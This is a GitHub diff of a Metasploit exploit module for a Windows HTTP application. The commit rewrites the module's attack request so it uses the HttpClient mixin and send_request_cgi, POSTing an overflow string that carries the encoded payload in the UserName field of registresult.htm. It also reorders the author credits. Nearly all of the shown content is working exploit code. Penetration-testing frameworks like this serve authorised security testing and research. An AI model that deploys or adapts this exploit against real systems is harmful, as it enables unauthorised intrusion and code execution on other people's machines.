File tree Expand file tree Collapse file tree 1 file changed +21
-8
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +21
-8
lines changed Original file line number Diff line number Diff line change @@ -7,8 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
8
8
Rank = NormalRanking
9
9
10
- include Msf ::Exploit ::Remote ::Tcp
11
- #include Msf::Exploit::Remote::HttpClient
10
+ include Msf ::Exploit ::Remote ::HttpClient
12
11
13
12
def initialize ( info = { } )
14
13
super ( update_info ( info ,
@@ -18,8 +17,8 @@ def initialize(info = {})
18
17
} ,
19
18
'Author' =>
20
19
[
21
- 'Aitezaz Mohsin ' , #POC
22
- 'Marco Rivoli <marco.rivoli.nvh[at]gmail.com> ' #Metasploit
20
+ 'Marco Rivoli ' , #Metasploit
21
+ 'Aitezaz Mohsin ' #POC
23
22
] ,
24
23
'License' => MSF_LICENSE ,
25
24
'References' =>
@@ -52,10 +51,24 @@ def exploit
52
51
sploit << payload . encoded
53
52
sploit << rand_text_alpha_upper ( 200 )
54
53
55
- request = "POST /registresult.htm HTTP/1.1\r \n \r \n UserName=#{ sploit } &Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
56
- connect
57
- sock . put ( request )
54
+ res = send_request_cgi ( {
55
+ 'uri' => normalize_uri ( URI , 'registresult.htm' ) ,
56
+ 'method' => 'POST' ,
57
+ 'vars_post' => {
58
+ 'UserName' => sploit ,
59
+ 'Password' => 'test' ,
60
+ 'Password1' => 'test' ,
61
+ 'Sex' => 1 ,
62
+ 'Email' => 'x@' ,
63
+ 'Icon' => 'x.gif' ,
64
+ 'Resume' => 'xxxx' ,
65
+ 'cw' => 1 ,
66
+ 'RoomID' => 4 ,
67
+ 'RepUserName' => 'admin' ,
68
+ 'submit1' => 'Register'
69
+ }
70
+ } )
58
71
handler
59
- disconnect
72
+
60
73
end
61
74
end
You can’t perform that action at this time.
0 commit comments